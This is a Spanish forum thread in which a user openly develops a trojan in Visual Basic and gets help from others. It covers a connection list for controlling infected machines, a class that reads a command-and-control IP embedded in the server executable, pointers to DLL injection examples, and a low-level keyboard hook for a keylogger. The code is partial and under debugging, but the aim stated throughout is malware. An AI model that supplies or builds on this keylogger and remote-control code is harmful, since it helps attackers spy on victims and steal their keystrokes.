Mensajes

Hola. Para un troyano que estoy diseñando utilizo un ListView donde mostrar las conexiones. Para realizar las acciones sobre el servidor, hago click en una de las conexiones, y el valor del Index se almacena en una variable. Luego hago que las funciones utilizen WS(i_ConexionSeleccionada) para enviar los datos.

Pero la duda que tengo es: si no tengo nada seleccionado, ¿como hago para que no despliegue el menú popup?
Si lo pongo para que detecte que la variable está a 0 no funcionaría, ya que el Index de WS es 0 y va aumentando con cada conexión.

¿Alguna idea? Lo agradecería.

Gracias de antemano.

Sería algo así:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
    Dim c As New cEditSvr
    Dim IP As String
    c.ExeFile App.Path & "\" & App.EXEName & ".exe"
    IP = c.ReadProp("IP")
    MsgBox IP
End Sub

Tienes que agregar la clase en el programa con el que lo lees.

Saludos.

¿Cuál es el código del programa que debe leer la IP?

Me fijé en los comentarios:

- En c.ExeFile debes poner la ruta del ejecutable donde quieres insertar los datos. Por ejemplo, si haces que el servidor se cree desde el archivo de recursos, puedes poner la ruta del archivo extraído de los recursos.
- En c.WriteData debes poner la ruta del ejecutable final. Si haces lo que te comenté antes, debes poner la misma ruta.

No hace falta que pongas Set c = New cEditSvr

Saludos.

Tienes que poner el código de cobein en un módulo de clase.

Saludos.

Es el código del link que puse arriba, pero modifiqué lo que puse antes. De todas formas ya está solucionado.

Saludos.

Hay varios ejemplos de cobein en el foro, que mostraban como hacer inyección de DLL fácilmente.

Saludos.

@ Freeze.
Si lo cambio me da error.

Creo que ya lo solucioné. El problema era que si ponía la función que devuelve la ventana actual, se cerraba el IDE. Ahora tengo que conseguir obtener la ventana sin que se cierre.

Gracias a todos. Saludos.

Código (vb) [Seleccionar] Expandir

Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

'Comprobamos que se haya pulsado una tecla
If wParam = WM_KEYDOWN Then
    'copiamos el codigo de la tecla(no es el ASCII , se manejan codigos aparte)
Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
keyCode = hookKey.code

Select Case keyCode
    Case 8
        TextoKeylogger = "[TAB]"
End Select

End If


'Si no se reconoce la tecla pulsada, se pasa de largo
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function

Solo con eso ya me falla, y se llama perfectamente a CallNextHookEx. No sé en que me equivoqué.

Saludos.

Sustituí el código que mencioné arriba por otro que comprobaba si el valor de keyCode era igual al valor de una tecla. Antes de hacerlo funcionaba correctamente.

Saludos.